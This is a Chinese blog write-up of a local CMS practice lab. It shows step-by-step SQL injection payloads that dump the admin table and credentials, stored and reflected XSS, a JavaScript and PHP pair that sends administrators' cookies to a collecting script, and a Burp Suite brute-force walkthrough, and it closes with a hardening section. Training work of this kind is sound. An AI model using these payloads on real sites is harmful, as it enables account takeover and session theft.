大數據技術之數據安全與網絡安全——CMS靶場實訓

大數據技術之數據安全與網絡安全——CMS靶場實訓

在當今數字化時代,大數據技術的迅猛發展帶來了前所未有的數據增長,同時也催生了對數據安全和網絡安全的更為迫切的需求。本篇博客將聚焦于大數據技術背景下的數據安全與網絡安全,并通過CMS(文章管理系統)靶場實訓,深入探討相應的解決方案與應對策略。

網絡安全作為保障大數據系統正常運行的基石,同樣備受關注。今天寫博客時候發現自己很久沒更新數據安全與網絡安全方面的內容了,于是花了點時間寫一篇CMS靶場實訓博客。本文通過CMS靶場實訓,深入分析CMS系統的安全漏洞,探討防范措施,提供實戰經驗和攻防能力,有助于加強大數據與網絡安全意識。

一、實訓項目要求

  1. 環境部署,正確部署CMS網站并運行。
  2. 通過工具,列出CMS網站的文件目錄結構。
  3. 搜集CMS網站的各項信息.
  4. 通過工具或代碼審計,詳細列出CMS 網站的漏洞缺陷。
  5. 給出CMS網站的加固方案。

二、環境

  1. 系統環境:Windows10
  2. IP:192.168.95.200(根據實際情況)
  3. 虛擬機可聯網

過程與分析

1.環境部署,正確部署CMS網站并運行。
Phpstudy版本為2016版本,解壓縮文件并下載安裝
在這里插入圖片描述
安裝成功并啟動Apache和MySQL服務
在這里插入圖片描述
打開phpstudy文件目錄找到www文件夾
在這里插入圖片描述
解壓縮CMS靶場環境文件到www目錄下
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
打開C:\phpStudy\WWW\cms\include路徑下的database.inc文件,編輯該文件并修改數據庫密碼為root,然后ctrl+s保存
在這里插入圖片描述
修改完文件后,重啟phpStudy更新配置文件信息。
在這里插入圖片描述
重啟phpStudy后打開瀏覽器,輸入127.0.0.1看到phpMyAdmin目錄,進入該網頁。
在這里插入圖片描述
輸入賬號和密碼,都是root
在這里插入圖片描述
進入數據庫后點擊導入,將sql文件導入數據庫
在這里插入圖片描述
成功將CMS導入數據庫
在這里插入圖片描述
在這里插入圖片描述
瀏覽器輸入127.0.0.1/cms成功部署CMS網站
在這里插入圖片描述
點開留言板也是可以正常運行
在這里插入圖片描述
這樣就正確部署CMS網站并能夠運行。

2.通過工具,列出CMS網站的文件目錄結構。
AWVS安全掃描操作方法
點擊File –> New –> Web Site Scan;or工具欄上的“New Scan”打開創建頁面,如下圖:

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
開始掃描127.0.0.1/cms/admin/login.php
在這里插入圖片描述
在這里插入圖片描述
3.搜集CMS網站的各項信息.
我們在主頁隨便點擊兩條新聞進行對比發現上面除了url中?id=33,?id=32之外沒有任何區別。
在這里插入圖片描述
在這里插入圖片描述
通過上面信息我們發現,更改id參數網站會自動跳轉頁面。

我們試試在后面輸入?id=33 order by 999 --+

http://127.0.0.1/cms/show.php?id=33 order by 999 --+

在這里插入圖片描述
出現報錯Unknown column '999' in 'order clause'
我們可以知道,該網頁存在sql數值型注入。

在主頁使用搜索功能,可以看到使用的是 GET 方法傳參,用于搜索的參數是 keywords 和 button。
在這里插入圖片描述
直接向 keywords 傳遞參數“”,由于參數被傳遞進入后會被直接執行,所以可以看到我們注入的腳本執行成功。
在keywords后面加入
在這里插入圖片描述
在這里插入圖片描述
發現我們的參數能夠被執行,判斷這里存在反射型 XSS漏洞。

我們在留言板留言,輸入

<script>alart(/xss/)</script>      

在這里插入圖片描述
在這里插入圖片描述
登陸后臺出現彈窗驗證
在這里插入圖片描述
由這里信息我們可以知道該網站存在存儲型xss漏洞。

4.通過工具或代碼審計,詳細列出CMS 網站的漏洞缺陷。
注入點判斷

?id=32'  也可以用?id=32 order by 999- --+            

判斷是字符型還是數字型
試試加個單引號
在這里插入圖片描述
在這里插入圖片描述
加了單引號后有明顯報錯,根據報錯判斷存在數字型注入(如果報錯里面有數字,就是字符型,如果沒有,就是數字型)
判斷是否有布爾類型狀態
and1=1(真) and1=2(假)
試試http://127.0.0.1/cms/show.php?id=32 and 1=1
在這里插入圖片描述
試試

http://127.0.0.1/cms/show.php?id=32 and 1=2

在這里插入圖片描述
兩次頁面相同,一般認為沒有布爾類型狀態,不同代表有布爾類型狀態
我們使用 order by 函數進行判斷,因為我們要使用聯合查詢,并且在 ?id=32前面有一條select查詢語句,要使用聯合查詢的話需要判斷前面語句有多少列
我們隨便試試order by 10看看,發現頁面沒有反應
在這里插入圖片描述
再試試http://127.0.0.1/cms/show.php?id=32%20order%20by%2020
發現報錯
Unknown column ‘20’ in ‘order clause’
那可能就是在10-20之間,我們在10-20之間一個一個試試。
在這里插入圖片描述
我們繼續驗證發現他有15個列
在這里插入圖片描述
點擊執行發現頁面正常,因為我們不知道表名,但是根據mysql數據庫特性,select語句在執行過程中并不需要指定表名。

因為頁面顯示的是第一章表的內容,那我們可以考慮讓第一張虛擬表的查詢條件為假,顯示第二條記錄從而構造sql語句
我們已經知道有15個列表我們試試select語句,并用–+將后面語句注釋掉。

127.0.0.1/cms/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+

在這里插入圖片描述
使用and 1=2或-32,我們發現頁面回顯3,11兩個數字,我們就可以把這兩個數字用函數替換掉
將3替換成version()函數函數,11替換成database().

127.0.0.1/cms/show.php/?id=-32 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+

在這里插入圖片描述
這樣就已經可以證明存在sql注入漏洞了
為了拿到后臺管理員的賬密
我們把databases()換成hex(group_concat(table_name))就得到了十六進制

在SQL注入攻擊中,負數ID常被用于欺騙程序,從而觸發漏洞。攻擊者可能會通過設置參數值為負數來實現對 WHERE 子句的修改,以便將惡意的查詢語句拼接到原始 SQL 語句的末尾。

我們可以這樣輸入:
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

information_schema 是一個MySQL數據庫中的系統數據庫,它包含了關于MySQL服務器中所有數據庫、表、列、索引、用戶等對象的元數據信息。
它是一個只讀的數據字典,其內部存儲的信息可以通過SQL查詢來獲取,包括各類數據庫對象的名稱、類型、大小、權限、注釋等詳細信息。因此,使用 information_schema 數據庫可以方便地查詢和管理所有數據庫對象的元數據信息
在這里插入圖片描述
information_schema.TABLES:包含所有表的信息,如表名、表類型、表引擎、表創建時間等。
得到16進制的編碼

636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273

我們用解碼工具去還原十六進制

在這里插入圖片描述
得到cms表名

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page, cms_users

我們試試查詢數據庫中的cms_users表:

127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() and table_name=cms_users

在這里插入圖片描述
發現不行,試試在cms_user加個單引號

127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(column_name)),12,13,14,15 from information_schema.columns  s where table_schema=database() and table_name= 'cms_users'

其中hex(group_concat(column_name)) 是一個 SQL 查詢語句,用于計算一個字符串列中所有字符的十六進制編碼值。具體來說,它會將該列中的所有字符串連接起來,然后使用 group_concat 函數將它們合并成一個單一的字符串。接著,使用 hex 函數將這個字符串轉換為十六進制編碼值。information_schema.COLUMNS:包含所有表列的信息,如列名、列數據類型、列是否為 NULL 等。
這樣就可以得到:

7573657269642C757365726E616D652C70617373776F7264 

在這里插入圖片描述
該SQL注入語句的目的是通過獲取 cms_users 表的名稱和當前數據庫的版本號來獲取有關 cms 數據庫的信息
將得到的數字放到網頁解碼工具進行解碼
在這里插入圖片描述

userid,username,password

就得到了三個字段的內容,我們根據順序查詢username和password就可以
我們直接查表,用從concat函數,在 ASCII 編碼中,0x3a 是一個十六進制值,對應于 ASCII 字符 “:”。因此,當將 0x3a 作為字符串參數傳遞給 SQL 函數時,它會被解釋為 “:” 字符。

127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15  from cms_users

在這里插入圖片描述
我們就得到了賬號和加密后的密碼

admin:e10adc3949ba59abbe56e057f20f883e

密碼是用密文的形式保存在數據庫中,觀察密文得知是md5加密,我們可以用md5在線解密破解,md5解密加密來進行解密,可以忽略加密類型。
得到了管理員賬號和密碼
在這里插入圖片描述
賬號:admin
密碼:123456
我們嘗試看能不能登錄

在這里插入圖片描述
最終也可以成功登入后臺:
在這里插入圖片描述
XSS注入
反射型 XSS
cms文章管理系統的留言板存在xss漏洞,我們通過構造代碼進行注入
我們先試試輸入留言
在這里插入圖片描述
留言成功,我們登錄后臺查看留言情況。
在這里插入圖片描述
在這里插入圖片描述
發現觸發xss彈窗并且留言成功
在這里插入圖片描述
查看網頁源碼后發現我們構造的payload已經成功被嵌入解析。
在這里插入圖片描述
獲取管理員的cookie
獲取CMS后臺管理員的cookie,經過前面的測試我們知道在該CMS文章系統前臺的留言板存在xss漏洞,因此我們可以通過存儲型的xss注入,利用JavaScript獲取cookie再傳送到我們自己的網站底下。
我們先寫好相應的腳本文件:
getcookie.js:

function getcookie(){var url="http://127.0.0.1/cms/getcookie.php";var data = "cookie="+document.cookie;var xmlhttp = new XMLHttpRequest();xmlhttp.open("POST",url);xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");//content-type:表名內容類型,決定瀏覽器以什么形式進行編碼讀取這個文件。//application/x-www-form-urlencoded:最常見的POST提交數據的方式xmlhttp.send(data);
}
getcookie();
getcookie.php:
<?php$cookie=@$_POST['cookie'];file_put_contents("cookie.txt", $cookie."\n",FILE_APPEND);
?>

在CMS文章系統的留言板注入代碼:

<script src="http://127.0.0.1/cms/getcookie.js"></script>

在這里插入圖片描述
在這里插入圖片描述
然后我們模擬管理員在后臺審核留言板的內容,觸發xss攻擊:
在這里插入圖片描述
最終拿到管理員的cookie:
在這里插入圖片描述
這樣我們獲得了CMS文章管理系統后臺管理員的cookie。

使用burpsuite抓包進行爆破

進入客戶機的控制臺。
打開瀏覽器登錄頁面,瀏覽器跳轉到正常登入界面。瀏覽器網址是http://127.0.0.1/cms/index.php
打開Burp Suite。
在瀏覽器網絡代理設置HTTP代理為127.0.0.1,端口號為8080,【確定】保存。
抓包之前先解決中文亂碼問題,設置為宋體
在這里插入圖片描述
啟動burpsuite進行抓包。
在這里插入圖片描述
設置代理
在這里插入圖片描述
然后在瀏覽器的登錄界面隨便輸入一個用戶名admin,隨意輸入密碼,點擊“登錄”,BurpSuite就會自動抓取頁面向服務器發送的數據包。
瀏覽器網址是
在這里插入圖片描述
在抓取的包內容界面,右擊將選擇“Send to Intruder”,將包內容發送至Intruder界面。
在這里插入圖片描述
進入Intruder界面。Target小界面的內容不用更改。
在這里插入圖片描述
轉到Positions小界面,選擇“Clear §”,將默認選中要破解的內容去掉。然后選中賬號§admin§和密碼“123”,點擊“Add §”添加破解內容。選擇“Cluster bomb”。
在這里插入圖片描述
轉到Payloads小界面添加數據字典。如果是破解多個參數,則“Payload set”這里可以點擊選擇“1”、“2”等,進行切換添加數據字典。
在這里插入圖片描述
在payload set 1這里設置第一個要爆破的參數,在“Add”后,往字典中添加一些常見的賬號比如admin、test、root等等。
在這里插入圖片描述
添加賬號、密碼字典后,點擊 Start attack,開始爆破。
在這里插入圖片描述
爆破完成之后,會發現最終爆破的結果, 我們通過Length不同返回結果對比找到了可以成功登錄的賬號和密碼。
在這里插入圖片描述
登錄驗證一下發現賬號 密碼為
admin 123456
還有Admin 123456
驗證一下
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
最后發現通過burpsuite爆破出來的賬號和密碼都可以成功登錄后臺。

CMS網站的加固方案。

要避免數值型 SQL 注入,可以采取以下措施:
輸入驗證:在將用戶輸入傳遞到SQL查詢之前,請確保對其進行驗證和過濾。可以使用 PHP 中的 is_numeric() 函數檢查輸入是否為數字。 is_numeric() 是 PHP 中的一個內置函數,它用于檢查給定的變量是否是數字或數字字符串。如果變量是數字或數字字符串,則返回 true。否則,返回 false

在SQL注入攻擊中,參數化查詢是一種有效的防御措施。它可以將用戶輸入的數據作為參數傳遞給SQL查詢語句,從而避免惡意代碼注入。以下是一些關于如何進行參數化查詢的常見方法:
1.使用預編譯語句:預編譯語句是一種將SQL查詢語句和參數綁定在一起的方式。使用預編譯語句可以確保用戶輸入的數據不會被解析為SQL命令。例如,可以使用PDO或mysqli_prepare函數來執行預編譯語句。
2.使用占位符:占位符是一種用于代替實際參數值的特殊字符。在SQL查詢語句中使用占位符可以防止惡意代碼注入。例如,可以使用?來代替實際參數值。
3.過濾用戶輸入:在接收用戶輸入時,應該對其進行過濾和驗證,以確保其符合預期格式。例如,只允許輸入數字和小數點,不允許輸入特殊字符等。
4.避免使用動態SQL語句:動態SQL語句是指在運行時生成的SQL查詢語句。使用動態SQL語句容易受到SQL注入攻擊。應該盡量避免使用動態SQL語句,或者使用參數化查詢來替代。

最小化特權:使用最小化特權原則,即僅為執行所需操作的用戶分配必要的權限。這樣,即使攻擊者成功注入 SQL 查詢,他們也無法執行敏感操作或訪問敏感數據。

1.只授予必要的權限:在創建數據庫用戶和授權時,只授予其完成任務所需的最小權限。例如,只允許數據庫用戶讀取和寫入數據,而不允許其執行其他操作。
2.避免使用超級管理員賬戶:超級管理員賬戶具有最高的權限,因此應該避免使用。如果必須使用超級管理員賬戶,應該對其進行嚴格的限制和監控。
3.禁用不必要的功能:在應用程序中禁用不必要的功能和服務,以減少攻擊者利用漏洞的可能性。例如,禁用遠程訪問數據庫的功能。
4.定期更新和修補軟件:及時更新和修補軟件可以修復已知的漏洞和安全問題,從而提高應用程序的安全性。

XSS漏洞防范

對于應對xss攻擊,可以使用 PHP 中的一些內置函數來過濾和驗證用戶輸入。下面是其中一些常用的函數:

  1. strip_tags():從字符串中刪除 HTML 和 PHP 標記。這個函數可以幫助防止 XSS 攻擊。
  2. htmlentities():將特殊字符轉換為 HTML 實體。例如,將 “<” 轉換為 “<”。這個函數也可以幫助防止 XSS 攻擊。
  3. addslashes():在字符串中添加反斜杠以轉義特殊字符。這個函數可以幫助防止 SQL 注入攻擊。
  4. intval() 或 floatval():將字符串轉換為整數或浮點數類型。這個函數可以幫助確保接受數字格式的輸入,并避免類型錯誤。
  5. filter_var():使用指定的過濾器過濾變量。例如可以使用 FILTER_VALIDATE_EMAIL 過濾器來驗證電子郵件地址。
    6.使用 PHP 內置函數 mysqli_real_escape_string() 或 PDO::quote() 等函數對用戶輸入進行轉義,以避免特殊字符被錯誤解釋。
    XSS的威力主要是取決于JavaScript能夠實現的程度,XSS跨站腳本的形成原因是對輸入輸出沒有嚴格過濾,導致在頁面上可以執行JavaScript等客戶端代碼,我們只要將敏感字符過濾,就可以修復XSS跨站漏洞。

修復和防范方法:
1.在cookie中設置了HttpOnly屬性,那么通過JavaScript腳本將無法讀取到cookie信息,這樣能一定程度上防止XSS攻擊。
例如原網站cookie設置安全性較低并且該cookie在用戶的瀏覽器中保持長時間,即使用戶已經退出網站或關閉了瀏覽器也是如此。如果攻擊者能夠訪問用戶計算機或使用同一計算機的其他人,則可以利用該cookie訪問受保護的頁面。

在這里插入圖片描述
修改setcookie函數并添加ttpOnly屬性并修改cookie保存時間:
setcookie(‘username’, u s e r n a m e , t i m e ( ) + 86400 ? 7 , ′ / ′ , ′ ′ , f a l s e , t r u e ) ; i f ( e m p t y ( username, time()+86400 * 7, '/', '', false, true); if (empty( username,time()+86400?7,/,′′,false,true);if(empty(username) || empty($password)){
exit(“”);
}
這里設置setcookie()函數的第6個參數(secure)留空,以便允許使用非加密協議(如HTTP)。第7個參數(HttpOnly)設置為true,以確保該cookie僅通過HTTP頭傳遞給服務器,并且無法通過JavaScript等客戶端腳本讀取到該cookie的值。
2.假定所有輸入都是可疑的,必須對所有輸入中的script、iframe等字樣進行嚴格的檢查。這里的輸入不僅僅是用戶可以直接交互的輸入接口,也包括HTTP請求中的cookie中的變量,HTTP請求頭部中的變量等。
3.不僅驗證數據的類型,還要驗證其格式、長度、范圍和內容
4.過濾“<” 、“>” 將用戶輸入放入引號間,基本實現數據與代碼隔離;過濾雙引號防止用戶跨越許可的標記,添加自定義標記;過濾TAB和空格,防止關鍵字被拆分;過濾script關鍵字;過濾&#,防止HTML屬性繞過檢查。在客戶端和服務器端同時做數據的驗證與過濾。
5.對輸出的數據也要檢查,數據庫里的值有可能會在一個大網站的多處都有輸出,即使在輸入做了編碼等操作,在各處的輸出點時也要安全檢查。
例如對用戶登錄驗證進行加固
在這里插入圖片描述
通過使用 PHP 內置的過濾器函數 filter_input() 進行驗證和過濾,并使用參數化查詢或預處理語句來執行 SQL 查詢,可以加強代碼的安全性。在原來代碼中,使用 setcookie() 函數將用戶名和用戶 ID 存儲在 cookie 中。可以通過改寫代碼使用會話機制等更安全的方式來存儲和傳遞這些信息。這樣就保證了一些敏感信息不易被竊取。
在密碼加密方面,通過PHP 內置的 password_hash() 和 password_verify() 函數可以在不需要額外編寫代碼的情況下,快速、輕松地對密碼進行安全加密和驗證。
加固之后的代碼:

// 驗證和過濾用戶輸入的數據
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);if (empty($username) || empty($password)) {exit("<script>alert('用戶名或密碼不能為空!');window.history.go(-1)</script>");
}// 使用參數化查詢執行 SQL 查詢
$stmt = $db->prepare("SELECT userid, password FROM cms_users WHERE username = ?");
$stmt->execute([$username]);
$user_row = $stmt->fetch(PDO::FETCH_ASSOC);if (!empty($user_row) && password_verify($password, $user_row['password'])) {// 不存儲敏感信息到 cookie,而是使用會話機制等更安全的方式來存儲和傳遞數據$_SESSION['userid'] = $user_row['userid'];header("Location: index.php");
} else {exit("<script>alert('用戶名或密碼不正確!');window.history.go(-1)</script>");

將原來的 md5() 加密替換為 password_hash() 函數來使用 bcrypt 算法進行密碼加密。同時,還使用了 password_verify() 函數來驗證用戶提交的密碼是否和數據庫中存儲的密碼匹配。加強了安全防御。
對于網站的存在弱口令被burpsuite爆破,可以采取下面措施。
1.在登錄頁面中添加驗證碼進行人機識別。這樣可以有效地防止BurpSuite等工具進行自動化爆破。
2.強制要求使用更加復雜的密碼,包括數字、字母和特殊字符混合,比如aDkaSda123*.、ssfGkjh8g*.1、這種復雜密碼必要時候限制嘗試登錄次數。
3.在響應頭中添加Cache-Control或Pragma指令以禁用瀏覽器緩存,從而保護敏感數據不會被緩存到本地計算機。
4.使用SSL / TLS加密所有傳輸的數據以防止BurpSuite攔截和讀取提交的數據。例如,將協議從HTTP更改為HTTPS。
5.監視服務器日志以檢測和阻止意外的登錄嘗試。如果發現被攻擊爆破等異常行為,可以立即采取預防措施。

OK,通過本文cms靶場的實訓學習,希望有助于各位掌握惡意代碼攻擊的基本原理和相關操作,針對一些漏洞的加固方案,能提高大家的安全意識和實操水平。

后面會持續更新更多優質內容,感謝各位的喜歡與支持!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/167861.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/167861.shtml
英文地址,請注明出處:http://en.pswp.cn/news/167861.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C語言-指針講解(3)

文章目錄 1.字符指針變量1.1 字符指針變量類型是什么1.2字符指針變量的兩種使用方法&#xff1a;1.3字符指針筆試題講解1.3.1 代碼解剖 2.數組指針變量2.1 什么是數組指針2.2 數組指針變量是什么&#xff1f;2.2.3 數組指針變量的舉例 2.3數組指針和指針數組的區別是什么&#…

npm ERR! node-sass@4.13.0 postinstall: `node scripts/build.js`

npm ERR! node-sass4.13.0 postinstall: node scripts/build.js npm config set sass_binary_sitehttps://npm.taobao.org/mirrors/node-sass npm install npm run dev Microsoft Windows [版本 10.0.19045.2965] (c) Microsoft Corporation。保留所有權利。C:\Users\Administr…

4.操作系統常見面試題(2)

3.4 虛擬內存 直接使?物理內存會產??些問題 1. 內存空間利?率的問題&#xff1a;各個進程對內存的使?會導致內存碎?化&#xff0c;當要? malloc 分配?塊很?的內存空間時&#xff0c;可能會出現雖然有?夠多的空閑物理內存&#xff0c;卻沒有?夠?的連續空閑內存這種…

手動實現 git 的 git diff 功能

這是 git diff 后的效果&#xff0c;感覺挺簡單的&#xff0c;不就是 比較新舊版本&#xff0c;新增了就用 "" 顯示新加一行&#xff0c;刪除了就用 "-" 顯示刪除一行&#xff0c;修改了一行就用 "-"、"" 顯示將舊版本中的該行干掉了并…

騰訊云AMD服務器標準型SA5實例AMD EPYC Bergamo處理器

騰訊云服務器標準型SA5實例是最新一代的標準型實例&#xff0c;CPU采用AMD EPYC? Bergamo全新處理器&#xff0c;采用最新DDR5內存&#xff0c;默認網絡優化&#xff0c;最高內網收發能力達4500萬pps。騰訊云百科txybk.com分享騰訊云標準型SA5云服務器CPU、內存、網絡、性能、…

Python 忽略warning警告錯誤 + 跳過報錯繼續執行程序

如何主動產生warning錯誤: import warnings def fxn(): warnings.warn("deprecated", DeprecationWarning) with warnings.catch_warnings(): warnings.simplefilter("ignore") fxn() 那么如何來控制警告錯誤的輸出呢? import warnings warnings.fi…

Modown主題v8.12 安裝教程和主題下載

親測」Modown主題v8.12學習版 上傳好主題選擇該主題就好了設置 設置好的首頁 內容頁&#xff1a; WordPress主題Modown和WordPress插件Erphpdown想必正在使用WordPress程序建站的站長都非常熟悉&#xff0c;因為這兩款應用在WordPress站長圈子里還是比較知名的&#xff0c;所以…

計算機畢業設計 基于SpringBoot的無人智慧超市管理系統的設計與實現 Java實戰項目 附源碼+文檔+視頻講解+答疑

博主介紹&#xff1a;?從事軟件開發10年之余&#xff0c;專注于Java技術領域、Python人工智能及數據挖掘、小程序項目開發和Android項目開發等。CSDN、掘金、華為云、InfoQ、阿里云等平臺優質作者? &#x1f345;文末獲取源碼聯系&#x1f345; &#x1f447;&#x1f3fb; 精…

GoLang Filepath.Walk遍歷優化

原生標準庫在文件量過大時效率和內存均表現不好 1400萬文件遍歷Filepath.Walk 1400萬文件重寫直接調用windows api并處理細節 結論 1400萬文件遍歷時對比 對比條目filepath.walkwindows api并觸發黑科技運行時間710秒22秒內存占用480M38M 關鍵代碼 //超級快的文件遍歷 fun…

【HuggingFace Transformer庫學習筆記】基礎組件學習:pipeline

一、Transformer基礎知識 pip install transformers datasets evaluate peft accelerate gradio optimum sentencepiece pip install jupyterlab scikit-learn pandas matplotlib tensorboard nltk rouge在host文件里添加途中信息&#xff0c;可以避免運行代碼下載模型時候報錯…

企業計算機服務器中了360勒索病毒怎么辦,360勒索病毒解密文件恢復

計算機技術的不斷發展&#xff0c;為企業的生產運營提供了極大便利&#xff0c;不僅提升了辦公效率&#xff0c;還促進了企業的發展。企業計算機在日常工作中一定加以防護&#xff0c;減少網絡威脅事件的產生&#xff0c;確保企業的生產生產運營。最近&#xff0c;網絡上的360后…

微信小程序富文本拓展rich-text

微信小程序富文本插件 功能介紹 支持解析<style>標簽中的全局樣式支持自定義默認的標簽樣式支持自動設置標題 若html中存在title標簽,將自動把title標簽的內容設置到頁面的標題上,并在回調bindparse中返回,可以用于轉發支持添加加載提示 可以在Parser標簽內添加加載提…

8:kotlin 類型檢查和轉換(Type checks and casts)

在運行時可以執行類型檢查以檢查對象的類型。類型轉換將對象強制轉換為不同的類型 is 和 !is 可以使用is或者!is來判斷實例是不是指定的類型 fun main() {var obj : Any "cast"if (obj is String) {println(obj.length) // 4}obj 123if (obj !is String) { pr…

動態規劃 之 鋼條切割

自頂向下遞歸實現(Recursive top-down implementation) 程序CUT-ROD對等式(14.2)進行了實現&#xff0c;偽代碼如下&#xff1a; CUT-ROD(p, n)if n 0return 0q -∞for i 1 to nq max{q, p[i] CUT-ROD(p, n - i)}return q上面解決中重復對一個子結構問題重復求解了&#…

Qt無邊框窗口設置陰影

//設置窗體透明this->setAttribute(Qt::WA_TranslucentBackground, true);//設置無邊框this->setWindowFlags(Qt::Window | Qt::FramelessWindowHint | Qt::WindowMinMaxButtonsHint);QVBoxLayout* pMainLay new QVBoxLayout(this);CLoginRealWidget* pRealWidget new …

VR全景展示,“超前點播”打開娛樂行業線上營銷門戶

如今&#xff0c;人們的生活水平正在逐步提高&#xff0c;這種提高不僅僅是體現在衣食住行上&#xff0c;更多方面是體現在大眾的娛樂活動上。我們可以看到&#xff0c;相比于過去娛樂種類的匱乏&#xff0c;現如今&#xff0c;各種娛樂活動可謂是百家爭鳴&#xff0c;例如溫泉…

目標檢測YOLO實戰應用案例100講-基于多光譜圖像融合的光伏組件故障 檢測

目錄 前言 國內外研究現狀 多光譜圖像配準研究現狀 光伏區域識別研究現狀

java學習part10 this

90-面向對象(進階)-關鍵字this調用屬性、方法、構造器_嗶哩嗶哩_bilibili 1.java的this java的this性質類似cpp的this&#xff0c; 但它是一種引用&#xff0c;所以用 this. xxx來調用。 this代表當前的類的實例&#xff0c;所以必須和某個對象結合起來使用&#xff0c;不能…

webrtc的RTCPeerConnection使用

背景&#xff1a; 平時我們很少會需要使用到點對點單獨的通訊&#xff0c;即p2p,一般都是點對服務端通訊&#xff0c;但p2p也有自己的好處&#xff0c;即通訊不經過服務端&#xff0c;從服務端角度這個省了帶寬和壓力&#xff0c;從客戶端角度&#xff0c;通訊是安全&#xff…

Javaweb之前端工程化的詳細解析

3 前端工程化 3.1 前端工程化介紹 我們目前的前端開發中&#xff0c;當我們需要使用一些資源時&#xff0c;例如&#xff1a;vue.js&#xff0c;和axios.js文件&#xff0c;都是直接再工程中導入的&#xff0c;如下圖所示&#xff1a; 但是上述開發模式存在如下問題&#xff…